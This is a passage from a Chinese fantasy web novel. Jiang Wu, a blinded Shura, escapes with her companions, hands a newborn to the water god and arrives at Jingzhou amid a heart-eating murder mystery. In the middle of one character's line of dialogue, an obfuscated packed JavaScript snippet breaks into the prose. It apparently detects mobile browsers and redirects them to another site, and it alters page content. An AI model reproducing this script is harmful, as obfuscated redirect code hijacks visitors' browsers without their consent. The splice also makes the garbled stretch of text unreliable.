商扶庭坚持不懈地爬了起来,继续挡在了睢羲面前,“太初圣人是太初圣人,我是我,只要我还有一口气便不会让你带走姜芜!你凭什么带走姜芜!她分明不愿!”说完,他双指抹了一把唇角的鲜血,反手涂抹在太初剑上,顿时剑光大盛。 姜芜见状伸手按住了商扶庭的肩膀,灼热的气息顿时将那处的布料焚烧成灰烬,她立刻收手,“商扶庭,这件事跟你没有关系。” 商扶庭头也不回地说:“姜芜,你放心,没人会逼你做你不愿的事情。” 寂满预备起身,却被沛然压制在了原地。 “别动,今夜谁都不会有事。” 季易坐在昏死过去的戚诃的背上,百无聊赖地看着几人对峙,等待着睢羲的下一步指示。 睢羲垂眸看着商扶庭手中的太初剑,开口道:“你是谁呢?” 商扶庭蹙眉,他虽然不知晓睢羲这么问的意义但依旧回道:“五行道宗,商扶庭。” “你就没有怀疑过太初剑为何会认你为主,又为何会被你驱使?”睢羲双眸一眯,“商扶庭,你想活吗?我只是不希望你连自己是如何死的都不清楚。” 商扶庭觉得睢羲大抵是知晓他被封闭五感六识后异状的缘由,便继续追问道:“你这是何意?太初剑既认我为主,自然会受我驱使,这有何异议?” 睢羲勾唇,“其中的缘由不如去问你的长辈,不要活得不明不白。” 商扶庭愤怒地瞪大了双眸,他有些懊悔方才的疾病乱投医,居然会信一个修罗的疯言疯语,“休要挑拨离间!” 睢羲抬手抵住商扶庭刺过来的太初剑,随即运掌拍向他的胸口。 姜芜侧耳听着响动,伸手将商扶庭接到怀中。 商扶庭偏头呕出一口鲜血。 “商扶庭,不要冲动。”说完,姜芜便伸手修复起商扶庭身上的伤。 睢羲见状勾唇轻笑,面容狠厉,“商扶庭,你不觉得自己很奇怪吗?你为何会对姜芜如此上心?” 商扶庭面上闪过一丝慌乱和窘迫,他抹去嘴角的鲜血,抬眸怒视着睢羲,“我奇怪与否,这些都与你何干?姜芜是我们的同伴,是帮天下苍生寻得圣物之人,我能力不足,只能寄希望于姜芜,为了芸芸众生,我如何对她不上心?” 睢羲深深地吸了一口气,商扶庭实在愚蠢至极,现下如同一个被蒙在鼓里的跳梁小丑,他将目光移到了姜芜的脸上,“姜芜,跟我走。” 商扶庭伸手拦下姜芜,“她不会跟你走的!” 睢羲问道:“她要留在此处做何?等着你们的审判吗?她间接导致霰雪蝶灭族、大荒神树枯萎,直接动手杀了七仙,其中包括你的师兄越迦柯,你们不恨她吗?即便是如此,我也不能将她带走,是吗?对了,你们五行道宗自诩天下正道,要留她交于众生审判。” 商扶庭费力地喘息着,“那也是我们的事情,同你没有关系。” “同我没有关系?”睢羲嗤笑出声,“和她没有关系的是你们,不是我。” 姜芜开口道:“既然已经分道扬镳,便不要再纠缠不清,我一人做事一人当,我做下这么多错事,他们要寻仇,天经地义。” 睢羲不为所动,一一扫视过在场的所有人,“既然如此,那我便一个一个的杀了他们,先从谁开始杀起好呢?姜芜,你拦得住吗?” 37. 息灾 姜芜合眸,安置好商扶庭,缓慢得站了起来,她深深地吸了一口气,面朝睢羲说:“我拦不住,除了跟你走和天书,我可以答应你的任何条件。” 睢羲嗤得一笑,“除了这两样,你还有何物?” 姜芜眼神发倔,“那是你的事情,既然你想不出,那便没办法了。” 寂满被沛然按在地上,他悄悄地抬头看了雾沅一眼,两人顿时心照不宣地点了点头。 寂满费力地转身去看沛然,神情痛苦地说:“喂,大块头,你踩到我的腰子了。” 沛然一惊,很快便松开了脚,“抱歉。” 寂满眼中精光一闪,迅速朝着沛然撒了一把粉末。 “什么?” 沛然顿时觉得身体无力,软倒在地。 “啧。”季易起身朝着寂满走去,“死到临头了还要耍花招?” 雾沅迅速出手,紫黑色的雾气瞬间扑向季易。 季易后退半步,抬手扇了扇面前的雾气,白色的粉末见缝插针撒了他一脸。 寂满迅速爬了起来,他对准睢羲投掷了两枚暗器。 睢羲抬手,两枚暗器滞空而停,随着他手指微动,大量的腐臭气体和白色粉末在空中炸开,迅速席卷了整个万毒门。 商扶庭见状迅速背起姜芜,飞快地跳下屋顶,一路向着月色中狂奔而去。 一刻钟后,沛然晃了晃有些沉重的头,拖着沉重的身体走向了睢羲,“大人,要追吗?” 睢羲将天书收进了广袖中,“不必了。” 季易瘫在一旁,他抬脚踢了踢一旁身负重伤的戚诃,“这个人呢?要杀了吗?万毒门要全灭吗?” “不用。” 沛然上前一步,“大人,身体可有碍?” 睢羲摇头,手指藏在广袖中摸了摸编织绳上的晶石。 姜芜攀着商扶庭的肩膀,轻声说:“不用跑了,他不会追来的。” 商扶庭停下脚步,搀扶着姜芜落地,“你感觉如何?” 姜芜摇了摇头,气若游丝地说:“我没事。” 寂满跟上来说:“脸都白了,还没事呢。” 姜芜抬手在自己眼前挥动了一番,试图催发一些戾气出来拔出眼中的毒,锥心之痛排山倒海而来,她腿脚发软,险些站不住,摇摇欲坠之际被商扶庭一把捞进了怀中。 商扶庭蹙眉,“你身上为何这么烫?” 雾沅说:“她体内没有妖丹贮存精火,现下顒鸟精火只能顺着她的经脉游走,若是姜芜没有现下这么强大,怕是早就被烧成了灰烬,下场同隋姑娘无二。” 商扶庭抬眸看了一眼雾沅,神情焦急地说:“我们现下便启程前往荆州,去借避火瓶。” 姜芜抿了抿干瘪的双唇,低头闻了闻手上的血腥味,“休息一晚再走也不迟,这样太狼狈了。” 商扶庭厉声道:“你不要命了,早些启程便能早些将你体内的精火引出来,你便不用受这折磨了。” “一路上风餐露宿的,不休息好怎么行?避火瓶一事不着急。”姜芜感受着体内的火焰逐渐熄灭,失去了往日的张牙舞爪,变得无比乖顺,“而且大家都伤得不轻,你师妹还不知到哪里去了。” 商扶庭现下才想起沈确来,他四下扫视一番,“你们有看到阿确吗?” 沈确抱着胎元似花猫一般从一旁的树丛里钻了出来,“师兄,我在这里。” 雾沅见状便开口问道:“发生何事了?” 沈确擦了一把眼泪,“没什么,只是李护法死了。他追着我出了万毒门,我想着隋姐姐那么好的一个人,我怎么能再把她的孩子交到万毒门的手中,去遭受那些非人的待遇,这也是她不愿意看到的事情。只不过我遇到了一个很厉害的人,他杀了李护法,他说只要我听话,他便不杀我,我没能救下李护法。” 雾沅有些不忍地摸了摸沈确的发顶,用帕子给她擦了擦脸上的灰尘,“隋姑娘确实是一个很好的人,今日牵制修罗的药粉还是她给的,否则我们也不会这么轻易地逃出来,只是李护法……” 沈确轻声啜泣了起来,“隋姐姐,隋姐姐跟我说过,她这辈子没想过会有这样一个孩子,她害怕自己的孩子会像她一样过着生不如死的日子。她虽然不喜欢万毒门的日子,但是……但是戚门主对她有恩,她不得不报,她没办法,她没得选。”说完,她便坐在地上,放声大哭了起来。 寂满看着沈确怀中的胎元,“这小孩,这小孩还活着啊?这怎么办啊,我们不能带着这个小孩吧?” 姜芜眨了眨眼,她摸索着朝沈确伸出了手。 沈确见状把胎元紧紧得抱在怀中,神情警惕地问道:“你要做什么?这是隋姐姐唯一的血脉,虽然她弄伤了你的眼睛,但是我不会把这孩子交给你的。” 姜芜开口道:“我要是真想杀他,你觉得能阻挡得了我吗?” 沈确吸了吸鼻子,声音委屈,“那你要做何事?” “我只是想看一看那个孩子。” 沈确半信半疑地看着姜芜,片刻后还是起身将胎元放到了后者的怀中。 姜芜觉得自己的手指像是触到了一个温热的软皮蛋,如同心脏一般的跳动从其中传了出来,这种感觉很奇妙。 “明天让水神来将它带回去吧,留在生身父亲身边要比我们带着要好。” 沈确看着姜芜问道:“我们该如何找到水神呢?要再去一次大荒吗?” 姜芜摇了摇头,“不用,我这里有水神送给隋姑娘的珠子。”说完,她伸手覆盖在了那层薄膜上,指甲骤然变得尖锐,薄膜在其下似窗纸一般,大量的液体从其中流了出来。 沈确震惊地看着姜芜,不等她出声质问便看到质地不明的胎元变成了一只白白胖胖的娃娃,张开嘴细声细气地啼哭着,两只小手乱抓着,寻找着自己熟悉的气息。 寂满灰头土脸地凑上去看了一眼,笑容明媚,“还真是个小孩啊?” 沈确走上前,轻轻地牵起了小娃娃的手,喜极而泣,“真好,隋姐姐在天有灵也会觉得安心了。” “天冷,别让他着凉。”雾沅化了一条包被将小娃娃包了起来,“万毒门的事情也该到此结束了吧。” 寂满摸了摸自己的下颌,“但是那些无知无觉的不死人又是怎么回事?” “天书从袁星月的棺椁中飘出来时,我看到了其中的内容。”姜芜说,“那些不死人是用尸体炼制而成的,类似于僵尸一类的人形兵器吧,如果能炼制完全估计便是隋垂枝那般,甚至是更完美。隋垂枝杀伤力已经很大了,但不否认她是个失败品。” 商扶庭神情凝重,出声问道:“天书又是怎么回事?” 姜芜伸出手,朝着商扶庭所在的位置摸索着,“我也是最近刚知晓天书的存在,听说是段怀野的伴生之物。” 商扶庭垂眸,他看着姜芜朝他伸过来的手,似乎是在找寻着何物,又似乎在确认他的存在。 商扶庭上前握住了姜芜滚烫的手。 姜芜面上一松,然后从袖袋中摸出了那本残卷,“这卷应该是一直放在长衡山上的,被你师兄带了出来,你可以用来修行。” 商扶庭神情复杂地看着手中的白玉书筒,他想起睢羲所说的话,开口问道:“他说的都是真的吗?你真的杀了越师兄?造成了后续的一切?” 雾沅抱着怀中的孩子,抬眸看向了姜芜,他虽然知晓霰雪蝶一族灭亡之事同姜芜并没有直接的关系,但是依旧想得到一个确切的答案,一个有关于姜芜过往的答案。 寂满逗弄小娃娃的动作停了下来,他略带担忧地看着雾沅。 姜芜面上的笑容不变,“是。” 商扶庭手上用力,把姜芜的手捏至变形,“你不打算给我们一个解释吗?” 姜芜说:“我在补偿,虽然效果甚微,帮你们收集圣物,也是为了还人间一个安宁。” 商扶庭咬牙,神情复杂,痛苦不堪,看向姜芜的眼神中有说不出道不明的情愫,他内心挣扎,纷乱无果。 商扶庭既想告诉姜芜那些并非全部都是她的错,又无法说服自己,毕竟那桩桩件件的旧债皆因姜芜而起,鲜血淋漓的往事并非过眼烟云。 “为何?为何要如此做?”商扶庭说,“你分明同太初道尊给了人族一份安宁,后续为何又做出那般违背初心之事?” 姜芜摇了摇头,“没有缘由。” 商扶庭追问道:“万事万物皆有缘由,你总不能是一时兴起吧?修罗的嗜血本性作祟,以杀人取乐?七仙之死,霰雪蝶亡族,闻香镇李家灭门,还有何事?天都东城莫非也因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223599|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你而起?” 姜芜笑着说:“这么一数算,我这人罪大恶极,死不足惜,那便等你利用天书修为有成的时候用太初剑杀了我吧。” 雾沅一愣,他看着姜芜,总觉得自己抓到了那么一丝姜芜如此做的缘由,但是过于的虚无缥缈,只是一瞬便消失不见。 商扶庭闻言神情有些慌张,手上也跟着松了力道,轻轻按揉起姜芜手上泛红的地方,“你误会了,我并非这个意思。” 姜芜抽出自己的手,“我没有误会,是你误会了,你不要忘记你的灭门之仇,最好时刻保持着对我的仇恨,不要做出一些违背自己初心之事才是对。” 商扶庭面上出现了一瞬间的空白,脸色衰败下去,他支吾了片刻后才找回了自己的声音,“所谓的天书,只是一套功法吗?” “并非,里面的内容不重要。”姜芜说,“重要的是上面的神力,以神力做辅助,修行可一日千里。是你自己说要变强的,强到比肩段怀野,超过百衢超过我,甚至超过睢羲。” 商扶庭无力地点了点头,“我知晓了。” 泽润感受到凝水珠破裂的瞬间,先是微微惊讶,随即心满意足地笑了起来,他换上了同隋垂枝初见时的水蓝色外袍,便兴致冲冲地去赴约。 “枝枝。” 泽润顺着凝水珠的气息寻至了扬州城外十里长亭处,看清楚状况后他的笑容便凝固在了脸上。 商扶庭抬眸看了一眼泽润一眼,长长地舒了一口气,他上前拍了拍姜芜的肩膀。 姜芜扶着石桌起身,怀中抱着小娃娃起身,她今日穿了一间纯白色的衣袍,肩上披着一间纱制的蔼色披风,兜帽垂下遮住了她的双眸,只留下小巧挺立的鼻尖和精致的下颌。 泽润看着姜芜朝着他走过来,将怀中的小娃娃递了过来,鲜红饱满的双唇轻启,说出他最不愿意听到的话,他宁愿隋垂枝不想要这个孩子,但是因为产后体虚不得不托付他们来将孩子送出。 “隋姑娘这辈子的恩也报了,债也还了。” 泽润眉心一抽,他垂眸看着安睡的小娃娃,伸手接了过来,“枝枝她还是没有原谅我,还是不肯见我吗?” 姜芜说:“好好扶养他长大。” 泽润双眸氤氲着水汽,将孩子紧紧地抱在怀中,侧脸轻轻地贴上孩子柔软的笑脸,“枝枝有给孩子取名字吗?” 姜芜摇了摇头,“你给他取个名字吧?” “我?”泽润看着怀中孩子,“我不知晓该给他取个怎样的名字,也不知晓枝枝愿不愿意我给孩子取名字。” 姜芜轻轻地叹了口气,“不如叫他息灾吧,望世间安宁。” 泽润伸手摸了摸孩子稚嫩的小脸,脸上露出一个苦涩的笑容,“息灾?真是一个好名字,希望他以后过得比我和枝枝都好,都顺心。” 姜芜转身朝着马车走去,伸手拉住险些被春风吹起的兜帽。 四日后,众人在荆州城外的茶摊上落脚。 “什么鬼天气啊,这么大的雾。”寂满敲了敲僵硬的后背,“我们为什么不能变出真身,然后瞬间来到这里呢?姜芜,你这么强大应该能在眨眼之间来到这里吧?” 姜芜捧着茶杯,笑着问道:“既然如此,我们能骑在你的背上吗?雾沅真身那么漂亮,感觉在他的背上也不错。” 寂满拍桌而起,“你开什么玩笑?我堂堂寂满大王,会你让骑背上?我真身威风凛凛,每一片鳞都漂亮的不行,在阳光底下甚至是五彩光芒,能给你当坐骑?给你骑吗?” 姜芜撇了撇嘴,有些遗憾地说:“像你这样漂亮的小蛟龙,放在之前都是要被捉住拔鳞做饰品的。” 寂满一抖,顿时吓得汗毛倒立。 姜芜笑着抿了口茶水,她挥了挥面前的虚空,“雾气又重了吗?” 商扶庭警惕地看向四周,“这雾气不对,大家要小心,不要乱动,防止走散。” 大雾在瞬间滚滚而来,像是浓烟一般,将虫鸣鸟叫声淹没,将每个人都吞噬进去,四周寂静得诡异。 雾沅见状便开口问道:“你的眼睛还是看不见吗?” 姜芜应了一声,“戚诃研制的针对修罗的毒确实很厉害。” 寂满伸手捉住了雾沅的衣角,“我有一种不详的预感……啊!!!!!” 38. 荆州 姜芜听到寂满的惨叫声,立刻将积攒的戾气释放了出去,察觉到是茶摊的小厮之后,顿时心感无奈,“你乱叫什么?” 螭吻的声音传到了寂满的耳中,“小弟,并州生乱,万年大妖在人间自立为王,联合幽州羽族,欺压长灵族,不断壮大自己势力,意图讨伐父亲。” 小厮也被寂满吓了一跳,他手中拎着水壶本是预备来添水的,抬手拍拍寂满的肩膀,是意图提醒莫要被开水烫到,可是不等他开口,寂满倒是先大喊大叫了起来。 寂满回过神,佯装恼羞成怒,“没事拍我肩膀做什么?吓死我了!” 小厮也觉得委屈,“我只是来添水,怕烫到你,只是客官你胆子也太小了吧,怎么草木皆兵的?” 寂满拍了拍胸膛,“不是我说,你们荆州的雾也太大了吧,刚刚真的吓死我了。” 小厮上下打量了一番寂满,“看几位的样子是修真界的人?也是来悼念城主的?习惯荆州的雾就好,等晌午便散开了。” 商扶庭开口问道:“小兄弟,这荆州的纷乱可解决了?” “解决?”小厮神秘地说,“别提了,出了个挖心的妖怪呦,闹得可厉害了,感觉这荆州城不能住了。听说几百年前就有一个挖心的妖怪,当时风头正盛的七仙都被挖了心,听说挖了整整八百八十八颗心呐,谁知道居然又出现在了荆州,城主啊,多厉害的人啊,都被挖心死了。” 商扶庭蹙眉,“这城主府该如何走?” 小厮说:“进城后顺着主路一直走便看到城主府了。” 寂满神情一愣,暗暗地看了姜芜一样,调侃道:“挖心啊,好恐怖啊。” “小二,来碗面!” 距离他们不远处的桌子上传来了取筷的声音。 “好嘞,来了。” 沈确面色陡然一白,她伸手抓住了商扶庭的衣角,轻声说:“师兄,就是那个人,那个杀了李护法的人,他跟来了荆州。” 商扶庭垂眸看向沈确,伸手拍了拍她的肩膀,“阿确,别怕。” 姜芜伸手理了理自己的兜帽,率先起身,“走吧,该进城了。” 寂满率先追了上去,“挖心哎,你不想说点什么吗?” 姜芜挑眉,“怎么?看起来像是我挖的吗?” 寂满抚了抚自己的胸口,“那倒不是,只是感觉荆州城很危险哎,也不知道是什么东西作祟,我可不想被挖心。” 姜芜听声确定了一番寂满的位置,随后伸手拍向了他的胸口,“你的鳞片是纸糊的吗?随随便便便能将你的心挖出来。” 寂满知晓姜芜没有用力,却也佯装被挖了心,捂着自己的胸口后退了几步,“虎毒不还食子呢,怎么说我们也共生死过,你怎么能这么对我?居然挖我的心。” “你这词措用的不对吧。”姜芜说,“再多说一句,我就真挖你的心了啊。” 寂满立刻正经,“别生气啊,开个玩笑缓解一下气氛嘛,你去哪啊,走那么快干嘛?等等我们啊,你不是看不见吗?” 众人刚踏入荆州城,便看到满城纷飞的纸钱与白色灯笼,长街上行人寥寥可数,皆数行色匆匆,几乎不多做停留,即便是遇到了熟人也是颔首而过。 荆州城主萧魁停灵七日,江湖中不仅各门各派,连有头有脸的散修也全都前来祭拜。 姜芜正准备向前走去,却被雾沅拦住了去路。 “这边走。” 雾沅伸手握住姜芜的手臂,引着她往主路上走去。 姜芜脚步顿了一下,虽然很多事情已经不是秘密,但是她从未想到之前的所作所为会如同蝴蝶振翅一般,引发这么多不可控的结果与苦难。 经过万毒门的一夜以后,所有人都知趣得没有再谈那件事,似乎闭口不谈便能当做所有的事情都未发生,他们之间还是一支拼凑起来的、不伦不类的临时同伴,平时各怀鬼胎,危机时刻也能同心协力,但实际上他们的关系岌岌可危,只是一同勉力维持着一块遮羞布。 姜芜心中有愧,不由得抓紧了雾沅的袖子。 雾沅关切地问道:“怎么?身子有不适之处吗?姜芜,你的身子很独特,不过几日功夫体温便趋近于正常了。” 姜芜欲言又止,最终还是摇了摇头。 商扶庭和沈确已经换上了五行道宗的弟子服,众人走至城主府前,由二人率先上前递拜贴。 萧魁膝下三子一女,此时站在门前迎宾的是排行第二的萧高瞻,他上前接过拜贴,随即深深一拜。 萧高瞻身形高大,长相温和如春风一般,父亲的逝去带来的打击和连日的守灵与操劳,也让他的面容上沾染了些疲惫和麻木,双目显得不再那么神采奕奕。 “原来是五行道宗的商师弟、沈师妹,里面请。” 商扶庭持剑抱拳,“萧师兄,节哀。” 萧高瞻再拜,随后唤了小厮引着众人向灵堂走去。 姜芜顺着雾沅的力道向前走着,在灵堂前停住了脚步,“你们两个去吧,我们在外面等你们。” 商扶庭问道:“为何?” 姜芜善解人意地说道:“我们去不合适,我们之中寂满最小,萧魁比寂满还要小几百岁。萧魁在天有灵,如果看到有非人来祭拜他,估计也不会安心。” 商扶庭颔首,“荆州城出如此之事,要借避火瓶怕是要等三日后萧城主下葬后,而且此处不简单,我们要谨慎为主。你们若是没有要紧事,可以打探一番消息,不要走动太远。” “知晓了。” 姜芜口上应着,身上却丝毫没有行动。 商扶庭同沈确进入了灵堂,由萧魁长子萧舒延递上了柱香,恭敬得对着灵位和棺椁拜了三拜。 “荆州萧氏谢过五行道宗。” 商扶庭闻声看向萧舒延,后者此时一袭黑袍,敛眸立于一侧,气息沉稳,墨发束起垂至腰际,不苟言笑的模样似是隆冬腊月的山尖雪。 商扶庭知晓萧舒延修为不低,甚至趋近于当世第一,现下萧城主意外身亡,下任城主之位或许落在他身上。 商扶庭同沈确抬手回礼,齐声道:“萧师兄,节哀。” “多谢。” 商扶庭看了一眼四周宾客,“萧师兄,不知可否借一步说话?” 萧舒延说:“晚些时候吧,此时人多我暂且走不开,我命人给二位收拾间厢房出来,一路舟车劳顿,先歇息片刻吧。” “劳烦萧师兄了。” “没想到时隔百年那挖心的妖怪又出现了。” “听说荆州城内已经有不少人遭此毒手了!” “萧氏世代立于荆州,难不成也束手无策?” “要是他们有应对策论,萧城主也不会身亡喽。” 姜芜听着四周人的先谈,偏头对雾沅说:“还记得五行道宗的信中写了何事吗?” 雾沅略略回忆了片刻,“城主萧魁是为了抵抗鬼族陨落,但是来到此地他却死于挖心,按理来说五行道宗收到的丧信应该不会出错。” 寂满满不在意地说:“这不简单?鬼族人也挖心呗。姜芜,你不如同我说说,你当初挖心做何用?说不定我们还能顺手解决这个事。” 姜芜说:“你们的气息都隐藏好了吗?今日此地汇聚了不少修真界的人物,千万别被人察觉才是。” 寂满有些不耐地说:“怎么,你还不相信我寂满大王吗?” 姜芜刚想开口回敬,却发现一阵劲戾的掌风迎面扑来,她被封住了气息,身子不如从前灵敏,一时躲闪不急,被掌风惊掠在地。 “姜芜!”寂满神情震惊地伸手把姜芜扶起,“你怎么摔倒了啊?” “女修罗?!” 一白面书生认出了姜芜的长相,快步来到她的面前,擒了她一只手细细查看。 姜芜蹙眉,她的兜帽被掌风拂下,面容彻底暴露出来。 白面书生本以为自己已经忘记了闻香镇的事情,但是见到姜芜的面容,淡忘的记忆立刻重新复苏。 白面书生的话犹如平地惊雷,四周顿时多了几分兵刃声。 姜芜扭着被擒住的手腕,面上一副楚楚可怜之态,声音也又细又颤,“什么?是在说我吗?” 白面书生斥道:“莫要再狡辩了,你即便是化成灰我也认得,你平白无故出现在萧城主的灵堂内,究竟是何居心?” 雾沅上前捏住白面书生擒着姜芜的手,出声警告道:“她只是个瞎眼姑娘不要为难她。” 雾沅掩盖了自己的气息,所以白面书生并没有第一时间认出这是霍乱闻香镇的蝶妖。 姜芜见有人撑腰,飞速甩开白面书生的手,揉捏着自己的泛红的手腕,轻声辩解道:“我不是什么修罗,我只是一个瞎眼的姑娘,幸得五行道宗商道长救助,这才得以苟活于世。来此地不过也是因为商道长的要事,商道长见我眼瞎,又无依无靠,怕我被人欺辱,要帮我寻个好人家。” 寂满在一旁看得瞠目结舌,若非他知晓姜芜来历,险些要被她这副垂眸悬泪,我见犹怜的模样给欺骗了去。 萧舒延闻声从灵堂内走出,他先是看了姜芜一眼,随即说:“我见这位女郎气息单纯,并无修道筑基的痕迹,亦无戾气或妖气傍身,只不过是一个普通人罢了。今日为停灵日,还请各位给我萧舒延一份薄面,莫要平生事端扰亡父清净。” 白面书生面色煞白,他仔细打量了一番姜芜,发觉她除了容貌惊人外,确实如同萧舒延所说的一般,反 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此时,院中一阵木制车轮轱轮声传来。 “是谁?” 女使向外看去,只见一位白衣女子推着轮椅停在了院中,而坐在轮椅之上的人正面无表情地看过来。 “三公子,这些都是大公子的客人。” 萧无祸轻嗤一声,“本公子是腿残了,又不是眼瞎了,难倒看不到吗?需要你一个小小女婢来提醒?” 女使不卑不亢地说:“三公子知晓便好。” 萧无祸说:“萧蔚,我们走。” 名为萧蔚的白衣女子颔首,然后推着萧无祸离开了此地。 恰逢侍女们端了瓜果茶点过来,女使安排好一切,便带着侍女们离开。 沈确见状便开口问道:“萧城主死后,大公子应该会顺理成章地继承城主之位吧,但是这个三公子似乎对他大哥并不是那么的尊重,方才便一副来势汹汹的模样。” 姜芜听着二人的对话,在靠近角落的位置找到了一张舒适的躺椅,心满意足地躺了上去,住袖袋中取了一把团扇轻轻地摇着。 荆州城位处于西南,现下虽然是寒冬腊月,但是此处四季如春,空气中常有花香。 寂满嗑着手中的瓜子,“怕是突生变故,所以导致得性情大变吧,你看他那双腿,虽然不认识他,但是他腿上的毛病不是娘胎里带出来的吧?” 商扶庭摇了摇头,“并非,之前我常听师门长辈讨论过萧城主的三个儿子,各有各的出色之处,不曾听说过萧三公子有腿疾,或许是近些年出了何种意外也说不准。” 姜芜侧身伏在躺椅的扶手上,手中轻摇着团扇,“关于这个萧三公子,我倒是听说过他的一段佳话哦,你们想听听吗?” 众人将目光放在了姜芜身上。 寂满催促道:“快说,少卖关子!” 萧舒延谢过前来悼念的众人,突然一具尸体从天而降,落到了灵堂前的院子里,胸口处大开,血肉模糊,其中空洞洞的,尸体神情狰狞,俨然没有了生机。 众人惊呼,连前来的佛修都不忍面前惨状,合上双眸,默念起了往生经。 萧高瞻快步走了进来,远远地同萧舒延对视一眼。 萧舒延对一旁的女使说:“命人将尸首抬下去吧,请客人去用午饭,不可怠慢。” 女使颔首,她挥手让人抬了担架,将尸首抬了下去,随后高声道:“各位受惊了,府内准备了一些粗茶淡饭,远道而来,请随我去前厅用午饭吧。” 萧舒延看着宾客逐渐离开灵堂,直到下人将地面的血水冲刷干净才转身往偏院走去。 商扶庭蹙眉,“你似乎对这种事情比较了解。” 姜芜哼笑了一声,“等你活到一定的岁数便明白了,逸闻趣事、闲谈八卦、风流韵事远比英雄传记更有意思。你猜,雾沅为何对我的往事那么感兴趣呢,修真界里也是流传了不少我的光辉事迹呢。” 雾沅闻言顿时被茶水呛了一番,有些不自在地抬眸看了姜芜一眼。 商扶庭反问道:“你的光辉事迹?我为何不知晓?你确定是光辉事迹不是别的何事吗?” 姜芜丝毫不介意地商扶庭的嘲讽,她摇着扇子说:“那是你知晓的事情还太少,万毒门便知晓我的光辉事迹。再者,我也没有何风流韵事可供流传吧。” 寂满来了兴致,他爬起来对姜芜说:“你还有我们不知晓的风流韵事?” 雾沅说:“据我所了解到的,并没有荒唐事,倒是会引得人见之不忘,思之如狂,犯得相思病。” “有打扰到你们吗?” 39. 落雨 萧舒延此人身形高大,声音沉沉,一副不苟言笑的模样,一双凤眸淡然若水,长眉入鬓,鼻梁高挺,白色的孝带系在腰封上,长袍的黑色拖尾却衬得他像条银环巨蟒。 商扶庭闻声迅速起身,见来人是萧舒延,持剑抱拳说:“萧师兄。” 萧舒延颔首,“休息得还习惯吗?午饭一会便送来。” “有劳萧师兄了。”商扶庭说,“萧师兄亲人逝世,还能将所有事情处理得井井有条,实在是吾辈之楷模。” 寂满讶然,令他没想到的是如此拍人马屁之话居然能从商扶庭这种一板一眼枯燥无趣的道士口中说出,真是滑天下之大稽。 不过,寂满也没有多评价一些,只是将剥好的核桃分给了姜芜一些。 姜芜摸索着将核桃仁接了过来,细细地咀嚼着。 萧舒延摆手,“商师弟谬赞了,方才在灵堂上你说有事要同我商讨,不知是何事?” 商扶庭看了一眼众人,萧舒延顿时了然。 “若是不方便,可以到我书房详谈。” 商扶庭摇头,只是突然觉得话到此处不知该如何开口,毕竟萧舒延的父亲刚去世。 姜芜起身寻着声音朝二人走去,她笑吟吟地道:“听闻荆州萧氏以铸造法器闻名,此次前来是想借避火瓶一用。” 萧舒延这才仔细看清了姜芜的面容,她披风兜帽之下生得一副好相貌,只是美玉有瑕,双眸无神,缺了几分亮丽。 “诸位有所不知,让萧氏以铸造法器闻名的人是我三弟,这避火瓶是他的得意之作,并不在我处,我三弟遭遇劫难之后性情古怪,不愿与人交谈,也不知他是否会将避火瓶外借。再者家中突生变故,此事可否等家父下葬之后再谈?”萧舒延说,“只是不知各位借避火瓶做何用?” 姜芜丝毫不避讳,“储存顒鸟精火。” “大妖顒鸟?”萧舒延神情略略惊诧,“你们前往大荒腹地,猎杀顒鸟取其精火可是为了炼器?” 商扶庭说:“并非,而是……” 沈确接上了商扶庭的话,“用于修补无幻之境的结界,还请萧大公子一定要促成此事,把避火瓶借予我们,这关乎着天下万千生灵。” “若是各位不介意,可在寒舍小住几日,容我先去谈谈我三弟的口风。此事事关重大,我三弟虽然经历人生大劫,但是在大是大非面前还是拎得清的。”萧舒延面上闪过一丝不易察觉的狠厉,他看着姜芜的双眸,“西南山麓,最不缺的便是灵草仙药,说不定还能医治好女郎的眼疾。” 雾沅抬眸看向萧舒延,面色有些凝重,不知他此番意图为何。 姜芜勾唇一笑,笑容恬静天真,“那便叨扰萧公子了。” 商扶庭刚要开口却听到姜芜应承的话,心中不免有些不悦。 萧舒延说:“近日荆州城内鬼族跋扈,各位可要小心一些,这鬼族最善于寄生和伪装,可千万不要着了他们的道,做出一些难以证明自己清白之事。” 商扶庭闻言立刻打消了方才的疑虑,“鬼族人竟然如此猖狂,荆州城损失如何?百姓伤亡如何?” 萧舒延回道:“问题不大,已经在控制了。” 寂满直接翻了个白眼,他才不信萧舒延的鬼话,已经在控制了,结果直接把自己的亲爹给控制死了,居然还口口声声说问题不大。 商扶庭颔首,“若是有需要,萧师兄您尽管开口,只要我们做得到,一定赴汤蹈火,在所不辞。” 萧舒延说:“商师弟的好意我心领了,毕竟你们是荆州府的客人,尽管安心在此地住下便可,有事可唤我身侧女使,她名唤萧云。” “多谢萧师兄。” 萧舒延走后,商扶庭便转头有些不悦地看向姜芜。 姜芜虽然目不能视,倒也多少觉得气氛有些变化,“怎么了?” 商扶庭质问道:“你为何要应下?时间紧迫,我们分明还有要事。” 姜芜了然,“萧大公子有事瞒着我们,他说他三弟性情古怪,要先去谈谈他三弟的口风,后续必定是不同意的,只能我们自己去问,这期间一来一回便不知道要耗费多少时日。又说能治我眼疾,这前前后后必定是在拖延时间的。他目的是什么呢?怪你奉承太多,我根本摸不透,难道萧魁并非死于鬼族人之手,还是说挖心者并非鬼族?你们的师门在信中是如何说的?” “荆州城城主萧魁死于鬼族之手。”沈确说,“为何你们一定认为面前的这个萧舒延就一定是真的萧舒延呢?他不是说鬼族擅长寄生和伪装吗?” 寂满如梦惊醒,“你们真是提醒我了,我们之间该如何分辨?毕竟敌人在暗我们在明,万一鬼族人假扮成我们的样子呢?” 商扶庭看向姜芜,“你的眼睛到底怎么回事?你不是大修罗吗?为何无法自愈?” 姜芜幽幽地叹了一息,她积攒了一些戾气出来,“你们若是不介意的话,我可以用戾气在你们身上做个记号,到时候自然而然便能分辨得出。” 沈确蹙眉,“那你该如何?我们之间最强者的非你莫属,若是你被附身,怕是无人能阻。” 